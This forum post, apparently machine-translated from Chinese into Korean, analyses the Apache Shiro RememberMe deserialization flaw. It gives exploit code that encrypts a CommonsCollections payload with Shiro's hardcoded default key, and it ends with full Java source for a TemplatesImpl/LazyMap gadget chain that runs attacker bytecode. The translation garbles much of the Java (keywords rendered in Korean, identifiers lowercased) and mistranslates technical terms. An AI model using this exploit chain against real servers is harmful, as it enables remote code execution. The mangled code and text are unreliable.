KoreanHackerTeam
Moderator
Shiro 反序列化漏洞原理分析
1 概述
Apache Shiro는 Java 권한 및 보안 확인 프레임 워크에서 중요한 위치를 차지하고 있으며 550 년에 심각한 Java 사막화 취약성을 노출 시켰습니다.Shiro Dessorialization 취약성의 원칙은 비교적 간단합니다. 브라우저 나 서버가 다시 시작된 후 사용자가 로그인 상태를 잃지 않도록하기 위해 Shiro는 지속적인 정보의 직렬화 및 암호화를 지원하고 다음 시간의 기억 및 해독 및 불쾌감을 저장합니다. 그러나 Shiro 1.2.4 이전에는 기본 및 고정 암호화 키가 내장되어 공격자가 기억력을 획득하여 사막화 취약성을 유발할 수있었습니다.
이전 기사는 Commons-Collections 체인에 다양한 가제트를 소개합니다. 이는 두 가지 사용 방법으로 나뉩니다. 하나는 invokertransformer입니다. 다른 하나는 TemplatesImpl이며, 로딩 클래스 바이트 코드의 형태를 통해 실행됩니다.
이 기사는 먼저 실제로 TemplatesImpl을 사용하기 위해 —— Shiro Desorialization 취약성의 실질적인 예를 사용합니다.
2 漏洞环境搭建
사격 범위를 사용하여 취약한 환경을 구축하십시오. 전체 프로젝트에는 index.jsp 및 login.jsp의 두 개의 코드 파일 만 있습니다. 이 영역에 따라 : 이하는 몇 개 밖에되지 않습니다.Shiro-Core, Shiro-Web는 Shiro 자체의 의존성입니다
javax.servlet-api, jsp-api, 이들은 JSP 및 서플렛의 종속성이며, Tomcat 은이 두 가지 종속성과 함께 제공되기 때문에 컴파일 단계에서만 사용됩니다.
SLF4J-API, SLF4J-SOMPLE, Shiro에 오류 메시지를 표시하도록 추가 된 종속성입니다.
커먼즈 로깅, 이것은 시로에서 사용되는 인터페이스입니다. 추가하지 않으면 폭발합니다. java.lang.classnotfoundexception: org.apache.commons.logging.logfactory 오류
실수 취약성을 보여주기 위해 Commons-Collections, Commons-Collections 의존성이 추가되었습니다.
Maven을 사용하여 프로젝트를 전쟁 패키지에 패키지하고 Tomcat의 WebApps 디렉토리에 배치하십시오. 그런 다음 http://localhost:8080/shirodemo/를 방문하면 로그인으로 이동합니다. 페이지 :

그런 다음 올바른 계정 비밀번호 인 루트/비밀을 입력하면 성공적으로 로그인 할 수 있습니다.
로그인 할 때 Remember Me의 멀티 체크 상자가 선택되면 서버는 성공적으로 로그인 한 후 기억 쿠키를 반환합니다.
3 使用 CC6 攻击 Shiro
3.1 概述
전체 공격 프로세스는 다음과 같습니다.CommonsCollections를 사용하여 체인을 사용하여 직렬화 된 페이로드를 생성하십시오
Shiro Default 키와 암호화합니다
Ciphertext를 Sheorge의 쿠키로 서버로 보내십시오.
3.2 包含数组的反序列化 Gadget
12
3
4
5
6
7
8
9
10
11
import org.apache.shiro.crypto.aescipherservice;
import org.apache.shiro.util.bytesource;
공개 수업 클라이언트 {
public static void main (string [] args)은 예외 {
바이트 [] 페이로드=새로운 CommonScollection6 (). getPayLoad ( 'calc.exe');
AESCIPHERSERVICE AES=NEW AESCIPHERSERVICE ();
바이트 [] key=java.util.base64.getDecoder (). decode ( 'kph+bixk5d2deziixcaaaa==');
Bytesource ciphertext=aes.encrypt (페이로드, 키);
System.out.printf (ciphertext.toString ());
}
}
암호화 프로세스는 Shiro의 내장 클래스 org.apache.shiro.crypto.aesciperService를 사용하고 마지막으로 Base64 문자열을 생성합니다.

이 문자열을 Shiro로 직접 보내기 기억력 (URL 인코딩없이). 결과적으로 Tomcat은 오류를보고했습니다.

마지막 예외 정보를 찾았습니다. 이것은 ResolveClass 메소드를 다시 작성한 ObjectInputStream의 서브 클래스임을 알 수 있습니다.

ResolveClass는 사막화에서 클래스를 찾는 데 사용되는 방법입니다. 직렬화 된 스트림을 읽을 때 문자열 형식으로 클래스 이름을 읽을 때 해당 java.lang.class 객체를 찾으려면이 메소드를 사용해야합니다.
상위 클래스, 즉 일반 ObjectInputStream 클래스의 ResolveClass 메소드를 비교하십시오.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
보호 수업? ResolveClass (ObjectStreamClass desc)는 ioException, classNotFoundException을 던졌습니다
{
문자열 이름=desc.getName ();
노력하다 {
return class.forname (이름, false, lickeserDefinedLoader ());
} catch (classNotFoundException ex) {
수업? cl=primclasses.get (이름);
if (cl!=null) {
CL;
} 또 다른 {
ex 던지기;
}
}
}
전자는 org.apache.shiro.util.classutils#forname을 사용하고 후자는 Java Native Class.forname을 사용한다는 것을 알게 될 것입니다.
예외 스냅 위치에서 다음 중단 점에서 예외를 유발하는 클래스 :을 참조하십시오.

예외가 발생할 때로드 된 클래스 이름은 [lorg.apache.commons.collections.transformer; 실제로 org.apache.commons.collections.transformer를 나타내는 배열입니다.
3.2.1 Class.forName 和 ClassLoader.loadClass 的区别
ClassLoader.LoadClass (문자열 이름)를 사용할 때 이름은 Java 언어 사양에 의해 정의 된 이진 이름이어야하며 배열 클래스를 포함하지 않아야합니다. 클래스 로더는 클래스 객체를로드 할 책임이 있으며 배열 클래스의 클래스 객체는 클래스 로더에 의해 생성되지 않지만 Java 런타임의 요구 사항에 따라 자동으로 생성됩니다.다음 코드는 예입니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
패키지 클래스 로더 데모;
공개 클래스 클래스로드 레더 모 {
public static void main (String [] args)은 classNotFoundException {
문자열 c1name='test1'.getClass (). getName ();
문자열 c2name=new String [] { 'test2'}. getClass (). getName ();
System.out.println (c1name);
System.out.println (C2Name);
class.forname (c1name);
class.forname (c2name);
classloaderDemo.class.getClassLoader (). loadClass (c1name);
ClassLoaderDemo.class.getClassLoader (). loadClass (C2Name);
}
}

3.2.2 真实原因
온라인 분석의 대부분의 이유는 Class.forname ()와 classload.loadClass ()의 차이로 인해 Shiro의 사막화 중에 배열이로드되지 않기 때문입니다.실제로 Shiro는 클래스를로드합니다. 마지막 호출은 Tomcat의 WebAppClassLoader입니다. 이 클래스는 Class.forname ()을 사용하여 배열 클래스를로드하지만 사용 된 클래스 로더는 UrlClassLoader입니다. UrlClassloader는 Tomcat/Bin, Tomcat/Lib, JRE/Lib/Ext 아래에 클래스 배열을로드하며 3 자 의존성 JAR 패키지를로드 할 수 없습니다.
요컨대,如果反序列化流中包含非 Java 自身的数组,则会出现无法加载类的错误. CC6은 변압기 어레이를 사용하기 때문에 정상적으로 사막화 할 수 없습니다.
3.3 不包含数组的反序列化 Gadget
여기서는 WH1T3P1G의 아이디어를 사용합니다. TemplatesImpl.newTransformer 함수를 사용하여 동적로드 클래스 구성 사악한 클래스 바이트를 사용하십시오. 그리고 활용 체인 의이 부분에는 배열 유형 객체가 없습니다.templatesimpl.newtransformer 방법을 트리거하는 방법은 무엇입니까?
먼저 CommonScollections의 활용 체인을 검토합시다 2 :
1
2
3
4
5
6
7
8
9
PriorityQueue.ReadObject
- priorityqueue.heapify ()
- PriorityQueue.SiftDown ()
-PrierityQueue.SiftDownUsingComparator ()
- transformingcomparator.compare ()
- invokertransformer.transform ()
-emplatesimpl.newtransformer ()
. 템플릿 가제트 .
- runtime.getRuntime (). exec ()
이 체인에서 TransformingComparator는 버전 3.2.1에서 직렬화 가능한 인터페이스를 구현하지 않으므로 버전 3.2.1에 따라 사막화 할 수 없습니다. 따라서 페이로드는 명령 실행의 목적을 달성하기 위해 직접 사용할 수 없습니다.
invokertransformer.transform ()에서 ImethodName 메소드는 전달 된 입력 객체를 기반으로 호출됩니다. 현재 통과 된 입력이 구성된 TemplatesImpl 객체라면 어떻게해야합니까? 이를 통해 iMethodName을 NewTransformer로 설정하여 후속 템플릿 가제트를 완료 할 수 있습니다.
Ysoserial Utilization Chain에는 변환 함수에 의해 수신 된 입력에 관한 두 가지 상황이 있습니다.
ChaintTransformer와 협력하십시오
여기서 의미없는 문자열은 constantTransformer.Transform 함수로 전달 된 입력을 나타냅니다. 변환 함수는 입력에 의존하지 않지만 iconstant를 직접 반환합니다.
CommonScollection6에서 시작하여 Tiedmapentry가 사용되며 릴레이로 사용되며 Lazymap (MAP)의 GET 기능을 호출합니다.
Lazymap.get은 MAP와 키를 모두 제어 할 수있는 반면 Lazymap.get은 변환 함수를 호출하고 제어 가능한 키를 변환 함수로 전달합니다.

이러한 방식으로, 구성된 TemplatesImpl (Key)은 InvokerTransformer.Transform Function의 입력으로 전달되며 템플릿 가제트를 함께 연결할 수 있습니다.
다음은이 체인의 호출 과정을 분류하는 것입니다.
1
2
3
4
5
6
7
8
9
10
java.util.hashset.readobject ()
-java.util.hashmap.put ()
-java.util.hashmap.hash ()
- org.apache.commons.collections.keyvalue.tiedmapentry.hashcode ()
- org.apache.commons.collections.keyvalue.tiedmapentry.getValue ()
- org.apache.commons.collections.map.lazymap.get ()
- org.apache.commons.collections.functors.invokertransformer.transform ()
-java.lang.reflect.method.invoke ()
. 템플릿 가제트 .
-java.lang.runtime.exec ()
4 实战 - CommonsCollectionsK1
먼저 TemplatesImpl 객체를 만듭니다.1
2
3
4
templatesimpl obj=새로운 templatesimpl ();
setfieldValue (obj, '_bytecodes', new Byte [] [] { '. bytescode'});
setfieldValue (obj, '_name', 'hellotemplatesimpl');
setfieldValue (obj, '_tfactory', new TransformerFactoryImpl ());
NewTransformer 메소드를 호출하는 InvokerTransformer를 작성하지만 현재 Gadget을 구성 할 때 악의적 인 방법이 트리거되는 것을 피하기 위해 GetClass와 같은 일반적인 방법을 전달합니다.
1
TransformerTransformer=새로운 invokertransformer ( 'getclass', null, null);
그런 다음 이전 CommonScollections6 코드를 복사하고 원래 Tiedmapentry를 구성 할 때 두 번째 매개 변수 키를 변경하여 이전에 생성 된 TemplatesImpl 객체로 변경하십시오.
1
2
3
4
5
6
map innerMap=new HashMap ();
map outermap=lazymap.decorate (내부 맵, 변압기);
TIEDMAPENTRY TME=New Tiedmapentry (outermap, obj);
map expmap=new Hashmap ();
expmap.put (tme, 'valueValue');
outermap.clear ();
전체 코드는 다음과 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
패키지 com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.trax.templatesimpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.transformerfactoryimpl;
import org.apache.commons.collections.transformer;
import org.apache.commons.collections.functors.invokertransformer;
import org.apache.commons.collections.keyvalue.tiedmapentry;
import org.apache.commons.collections.map.lazymap;
import java.io.BytearRayoutputStream;
import java.io.objectoutputStream;
import java.lang.reflect.field;
java.util.hashmap import;
java.util.map import;
공개 수업 commonscollectionsshiro {
public static void setfieldValue (Object OBJ, String FieldName, Object Value)는 예외 {{
필드 필드=obj.getClass (). getDeclaredfield (FieldName);
field.setAccessible (true);
field.set (obj, value);
}
public byte [] getPayload (byte [] ClazzBytes)는 예외 {
templatesimpl obj=새로운 templatesimpl ();
setfieldValue (obj, '_bytecodes', new Byte [] [] {ClazzBytes});
setfieldValue (obj, '_name', 'hellotemplatesimpl');
setfieldValue (obj, '_tfactory', new TransformerFactoryImpl ());
변압기 변압기=새로운 invokertransformer ( 'getclass', null, null);
map innerMap=new HashMap ();
map outermap=lazymap.decorate (내부 맵, 변압기);
TIEDMAPENTRY TME=New Tiedmapentry (outermap, obj);
map expmap=new Hashmap ();
expmap.put (tme, 'valueValue');
outermap.clear ();
setfieldValue (변압기, 'iMethodName', 'newTransformer');
//========================
//직렬화 된 문자열을 생성합니다
bytearrayoutputStream barr=새로운 BytearRayoutputStream ();
ObjectOutputStream OOS=새로운 ObjectOutputStream (Barr);
oos.writeobject (expmap);
oos.close ();
return barr.tobytearray ();
}
}

이 가제트는 실제로 마스터 Xray와 Koalr의 공통입니다.